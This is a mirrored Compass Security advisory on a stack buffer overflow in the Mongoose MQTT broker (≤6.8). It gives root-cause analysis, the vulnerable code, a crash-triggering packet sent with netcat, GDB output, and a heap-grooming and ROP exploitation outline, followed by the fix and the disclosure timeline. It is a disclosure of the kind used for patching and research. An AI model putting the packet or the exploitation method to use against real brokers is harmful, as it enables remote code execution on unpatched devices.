Lucene search
K

Mongoose Embedded Web Server Library 6.8 Buffer Overflow

🗓️ 20 Sep 2017 00:00:00Reported by Dobin RutishauserType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Mongoose Embedded Web Server Library 6.8 Buffer Overflow CV

Code
`#############################################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/en/research/advisories/  
#  
#############################################################################  
#  
# Product: Mongoose Embedded Web Server Library  
# Vendor: Cesanta  
# CVE ID: Not yet assigned.  
# CSNC ID: CSNC-2017-023  
# Subject: Stack based buffer overflow  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Dobin Rutishauser <[email protected]>  
# Date: 2017-09-20  
#  
#############################################################################  
  
  
Introduction:  
-------------  
  
It is possible to perform remote unauthenticated remote code execution in  
Cesanta's Mongoose MQTT Brokers. The length of MQTT packets is incorrectly  
calculated when sending a small size in the MQTT Control Packet length field,  
which leads to a integer underflow, and then to a stack based buffer  
overflow.  
A working proof-of-concept exploit has been created to exploit this  
vulnerability. The exploit is unaffected by DEP. ASLR and/or stack canaries  
will make it impossible to exploit this vulnerability.  
  
https://github.com/cesanta/mongoose  
"Mongoose is ideal for embedded environments. It has been designed for  
connecting devices and bringing them online. On the market since 2004,  
used by vast number of open source and commercial products - it even  
runs on the International Space station! Mongoose makes embedded  
network programming fast, robust, and easy."  
  
  
Affected:  
---------  
  
Mongoose Embedded Web Server Library.  
  
Vulnerable:  
* <= 6.8  
  
Not vulnerable:  
* >=6.9  
  
  
Technical Description  
---------------------  
  
The parse_mqtt() function is responsible for parsing incoming MQTT packets  
if Mongoose is running as MQTT Broker. These packets consist of at least one  
MQTT Control Packet (MCP). An MCP consists of a fixed header (MQTT type, and  
the remaining length), a variable header (packet identifier), and a payload  
(data based on the type, e.g. the subscribe topic like "/temperature").  
  
The function "parse_mqtt()" is responsible for the parsing of the MCP fixed-  
and variable header (but not the payload).  
In this function, there is a pointer "p" which points to the beginning of the  
incoming MQTT packet buffer. The "end" pointer is calculated by adding the  
"len" to the "p" pointer. "len" is based on the "remaining length" field of  
the MCP fixed header (a variable-length length field), which is controlled  
by the attacker. "len" is checked if it is bigger than the received packet  
size, so it is not possible to store an an arbitrary large value, and thus  
creating an overflow of any kind.  
  
Nevertheless, after parsing the MCP fixed header (basically only the "len"),  
the MCP variable header will be parsed (based on the MCP type, e.g. CONNECT,  
PUBLISH, SUBSCRIBE, etc.). The MCP variable header is just a two byte  
identifier. It will be read and the "p" pointer will be increased by two  
bytes. This is the source of the bug. Because after parsing the variable  
header, a data structure "mm" is prepared with the MCP payload data, which  
will be later parsed by the function "mg_mqtt_broker_handle_subscribe()".  
For an MCP SUBSCRIBE payload type, the final length of the payload is stored  
in mm->payload.len.  
The problem is that the payload length is calculated by calculating  
"end - p", but p is greater than end because of incrementing it in the MCP  
variable header parsing, for a "length=0". Or in other words,  
"end = p + len", but "p+=2", and "len=0".  
Therefore for "len=0":  
"mm->payload.len" = end - (p+2) = p + len - p - 2 = len - 2 = -2.  
  
If the attacker gives a value of smaller than 2 as the payload length, the  
final length will underflow. For example the length will be 2^64-2 if the  
length specified in the fixed header is 0. The subscribe packets will be  
parsed by mg_mqtt_broker_handle_subscribe().  
It iterates through all Topic Filters in the MCP SUBSCRIBE payload, and  
stores the QOS value of each of them in an statically sized array. It uses  
the length stored in mm->payload.len as an abort condition. As this  
condition cannot be met, the statically allocated array can be overflowed,  
leading to a stack based buffer overflow.  
  
The vulnerability was tested and reproduced by using the MQTT Broker  
provided in the examples/mqtt_broker directory on Ubuntu 16.04 64 bit.  
It was found by using AFL (American Fuzzy Lop) fuzzer.  
  
  
Affected code: [2]  
Vulnerability notes indicated by using "//".  
  
MG_INTERNAL int parse_mqtt(struct mbuf *io, struct mg_mqtt_message *mm) {  
uint8_t header;  
size_t len = 0;  
int cmd;  
const char *p = &io->buf[1], *end;  
  
if (io->len < 2) return -1;  
header = io->buf[0];  
cmd = header >> 4;  
  
/* decode mqtt variable length */  
// In Fixed header  
do {  
len += (*p & 127) << 7 * (p - &io->buf[1]);  
} while ((*p++ & 128) != 0 && ((size_t)(p - io->buf) <= io->len));  
  
// end = p for (attacker controlled) len = 0  
end = p + len;  
if (end > io->buf + io->len + 1) {  
return -1;  
}  
  
[...]  
  
case MG_MQTT_CMD_SUBSCRIBE:  
mm->message_id = getu16(p); // Variable header  
p += 2; // p > end for len = 0  
/*  
* topic expressions are left in the payload and can be parsed with  
* `mg_mqtt_next_subscribe_topic`  
*/  
mm->payload.p = p;  
mm->payload.len = end - p; // mm->payload.len < 0 for len = 0  
printf("MQTT Subscribe 1: p: %p len: %lx\n",  
mm->payload.p, mm->payload.len);  
break;  
  
[...]  
}  
  
static void mg_mqtt_broker_handle_subscribe(struct mg_connection *nc,  
struct mg_mqtt_message *msg) {  
struct mg_mqtt_session *ss = (struct mg_mqtt_session *) nc->user_data;  
uint8_t qoss[512]; // static size, will be overflowed  
size_t qoss_len = 0;  
struct mg_str topic;  
uint8_t qos;  
int pos;  
struct mg_mqtt_topic_expression *te;  
  
// This loop never stops, as the abort condition in the called function  
// can never be met. It will overflow qoss[512] until overwriting  
// important stack data.  
for (pos = 0;  
(pos=mg_mqtt_next_subscribe_topic(msg, &topic, &qos, pos)) != -1;) {  
qoss[qoss_len++] = qos; // Stack based buffer overflow here  
}  
[...]  
}  
  
  
Example packet:  
$ hexdump -C id:000001*  
000000 80 00 00 06 4d 51 49 73 64 70 03 00 00 3c 00 05 |....MQIsdp...<..|  
000010 64 75 6d 6d 79 |dummy|  
000015  
  
Send it to the server:  
$ cat id:000001* | nc localhost 1883  
  
GDB output:  
MQTT Subscribe 1: p: 0x618794 len: fffffffffffffffe  
[...]  
Program received signal SIGSEGV, Segmentation fault.  
  
[-------------------------------registers-----------------------------------]  
RAX: 0x5552 ('RU')  
RBX: 0x0  
RCX: 0x7fffffe0  
RDX: 0x0  
RSI: 0x0  
RDI: 0x7fffffffcdf0 --> 0x7ffff751e340 (<__funlockfile>: mov rdx,QWORD  
PTR [rdi+0x88])  
RBP: 0x7fffffffd350 --> 0x7fffffffd5b0 --> 0x0  
RSP: 0x7fffffffd320 --> 0x55520000001f  
RIP: 0x40ef13 (<mg_mqtt_next_subscribe_topic+235>: movzx eax,BYTE PTR [rax])  
R8 : 0x0  
R9 : 0x20 (' ')  
R10: 0x0  
R11: 0x246  
R12: 0x402130 (<_start>: xor ebp,ebp)  
R13: 0x7fffffffdbd0 --> 0x1  
R14: 0x0  
R15: 0x0  
EFLAGS: 0x10206 (carry PARITY adjust zero sign INTERRUPT direction overflow)  
[-------------------------------------code----------------------------------]  
0x40ef05 <mg_mqtt_next_subscribe_topic+221>: mov eax,0x0  
0x40ef0a <mg_mqtt_next_subscribe_topic+226>: call 0x401b90 <printf@plt>  
0x40ef0f <mg_mqtt_next_subscribe_topic+231>: mov rax,QWORD PTR [rbp-0x10]  
=> 0x40ef13 <mg_mqtt_next_subscribe_topic+235>: movzx eax,BYTE PTR [rax]  
0x40ef16 <mg_mqtt_next_subscribe_topic+238>: movzx eax,al  
0x40ef19 <mg_mqtt_next_subscribe_topic+241>: shl eax,0x8  
0x40ef1c <mg_mqtt_next_subscribe_topic+244>: mov edx,eax  
0x40ef1e <mg_mqtt_next_subscribe_topic+246>: mov rax,QWORD PTR [rbp-0x10]  
[------------------------------------stack----------------------------------]  
0000| 0x7fffffffd320 --> 0x55520000001f  
0008| 0x7fffffffd328 --> 0x7fffffffd373 --> 0x2ab0000555200  
0016| 0x7fffffffd330 --> 0x7fffffffd390 --> 0x615551 --> 0x0  
0024| 0x7fffffffd338 --> 0x7fffffffd630 --> 0x0  
0032| 0x7fffffffd340 --> 0x5552 ('RU')  
0040| 0x7fffffffd348 --> 0x4143ca1de0d5c300  
0048| 0x7fffffffd350 --> 0x7fffffffd5b0 --> 0x0  
0056| 0x7fffffffd358 --> 0x40f74f (<mg_mqtt_broker_handle_subscribe+224>: )  
[---------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
Stopped reason: SIGSEGV  
0x000000000040ef13 in mg_mqtt_next_subscribe_topic (msg=0x7fffffffd630,  
topic=0x7fffffffd390, qos=0x7fffffffd373 "", pos=0x5552)  
at ../../mongoose.c:9933  
9933 topic->len = buf[0] << 8 | buf[1];  
gdb-peda$ disas  
0x000000000040ef0f <+231>: mov rax,QWORD PTR [rbp-0x10]  
=> 0x000000000040ef13 <+235>: movzx eax,BYTE PTR [rax]  
gdb-peda$ x/1x $rbp-0x10  
0x7fffffffd340: 0x0000000000005552  
gdb-peda$ i r rax  
rax 0x5552 0x5552  
  
  
Visual representation of MCP CONNECT and SUBSCRIBE Packets:  
  
+->Connect  
| +->Len  
| |  
++---------------+-------+----+----+----+  
|0x01|0x00|0x00|0x04| M | Q | T | T |  
+------------------------+----+----+----+  
  
+-----------------------+ +-------------+  
fixed header variable header  
  
  
  
  
+->Subscribe QOS:0x01f QOS:0x2f  
| +->Length ^ ^  
| | | |  
++----+-------------++--------------+----++--------------+----+  
|0x82|0x00|0x2c|0x2c||0x00|0x01| A |0x1f||0x00|0x01| B |0x2f|  
+-------------------++--------------+----++-------------------+  
  
+-------------------++-------------------+  
Topic Filter for A Topic Filter for B  
  
  
  
Exploiting Notes:  
-----------------  
  
SUBSCRIBE MCPs consist of one or several topic filter (TF) as payload. Each  
TF contains a string of the topic the clients wants to subscribe to, e.g.  
"/temperature". A TF has the minimum size of 3 bytes: 2 bytes length, 1 byte  
QOS (with empty data, len=0). Also Mongoose receives (read()'s) TCP data in  
chunks of 1024 bytes size. Only the QOS byte is written on the stack (into  
the qoss[512] array), as part of the overflow. Therefore it is only possible  
to write 1024 / 3 ~ 340 attacker-controlled bytes of data on the stack. The  
"copy-QOS-from-heap-to-stack" loop does not stop, and instead continues to  
copy arbitrary bytes from the heap to the stack, until the mm->payload.p  
pointer is overwritten and the program crashes. It is therefore initially  
not possible to:  
1) Stop the copy process  
2) overwrite the saved instruction pointer with attacker controlled data  
3) or perform a return() on the affected function so our overwritten return  
address is called  
  
The solution is to allocate a second (and third) heap-chunk after the first  
one with additional TF data. This allows to control the data which is copied  
to the stack even after the 512 bytes qoss array, which immediately fixes  
problem 2. Ideally the copy process should continue to copy attacker  
specified QOS bytes onto the stack, overwriting it until it reaches  
mm->payload.len, which should be set to zero. This stops the copy process,  
and forces it to return(), which fixes problem 1 and 3.  
  
To achieve this, a heap massage has to be performed. This can be achieved  
by opening 3 connections in parallel, where each connection allocates a 1024  
byte heap chunk. The content of the first chunk can be ignored. The second  
and third chunk consists of valid MCP subscribe TFs, with the data we want to  
write on the stack stored in the QOS byte. The length of each TF will be 4  
bytes (1 byte data) for alignment purposes. The last TF of the second chunk  
(and also of the first chunk later) has to be specially constructed.  
It needs a certain length larger than the actual data in the TF, so the  
"data" of this TF consists of the heap chunk header, which allows a seamless  
transition of parsing the MCP subscribe TFs of the next chunk. Then the three  
connections will be closed, and the actual exploit can be performed with a  
fourth connection.  
  
That fourth connection uses the fixed header size of zero, which initiated  
endloss copying (2^64 bytes). The mg_mqtt_broker_handle_subscribe() function  
will parse each of the TF, jumping over the heap chunk headers, and write the  
QOS bytes of each TF into the stack.  
After overwriting the saved return address with ROP gadgets, it will trash  
the stack until it arrives at overwriting mm->payload.p, where we have to  
write the original mm->payload.p pointer again. Immediately afterwards in  
memory, mm->payload.len is stored on the stack, and will be overwritten  
with zeros by the exploit.  
After this the function automatically returns, and the ROPchain will be  
executed.  
  
Therefore we are lucky that the received data is stored on the heap which we  
can define at will, and all important metadata is stored on the stack, where  
we can overwrite it. This exploit will not work with ASLR enabled,  
as no informatin disclosure vulnerability could be identified. A stack canary  
also prohibits exploitation.  
  
Heap: Stack:  
  
Chunk: 1024 bytes  
+----------------------+ +----------------+  
| | |QOSS[512] |  
|Len: 1 | +--------> |  
|Data: "A" | | | |  
|QOS: 0x00 | | | |  
+----------------------+ | | |  
| | | | |  
|... | | +----------------+  
| | | |... |  
| | | +----------------+  
+----------------------+ | +----->Saved RIP |  
| | | | +----------------+  
+---+Len: 16 | | | |... |  
| |Data: "A" | | | | |  
| |QOS: 0x41 +--+ | | |  
| +----------------------+ | | |  
| | +----------------+  
| Chunk: 1024 bytes | +-->payload.p |  
+-> +----------------------+ | | +----------------+  
| | | +-->payload.len |  
|Len: 1 | | | | |  
|Data: "A" | | | +-+--------------+  
|QOS: 0x41 +-----+ | |  
+----------------------+ | v  
| | | higher addresses  
|... | |  
| | |  
| | |  
+----------------------+ |  
| | |  
+---+Len: 16 | |  
| |Data: " " | |  
| |QOS: 0x00 | |  
| +----------------------+ |  
| |  
| Chunk: 1024 bytes |  
+-> +----------------------+ |  
| | |  
|Len: 1 | |  
|Data: "A" | |  
|QOS: 0x41 +--------+  
+----------------------+  
| |  
|... |  
| |  
| |  
+----------------------+  
| |  
|Len: 1 |  
|Data: "A" |  
|QOS: 0x00 |  
+---+------------------+  
|  
v  
higher addresses  
  
  
Workaround / Fix:  
-----------------  
  
Update to Mongoose 6.9. [6]  
  
  
Timeline:  
---------  
  
2017-09-20: OK for publishing advisory.   
2017-09-13: New version released (Mongoose 6.9)  
2017-09-01: Issue has been fixed, vendor notified.  
2017-08-30: Vendor released patched version, asks if issue has been fixed.  
2017-08-29: Vendor acknowledges receipt of the information  
2017-08-28: Send detailed vulnerability information to vendor  
2017-08-28: Initial vendor response  
2017-08-28: Initial vendor notification  
  
  
References:  
-----------  
[1] https://github.com/cesanta/mongoose  
[2] https://github.com/cesanta/mongoose/blob/  
7c0493071f182b890f4e01ece84ab2523858cc76/mongoose.c#L9679  
[3] http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html  
[4] http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/  
mqtt-v3.1.1-os.html#_Toc398718063  
[5] https://mongoose-os.com/  
[6] https://github.com/cesanta/mongoose/releases/tag/6.9  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Sep 2017 00:00Current
0.4Low risk
Vulners AI Score0.4
41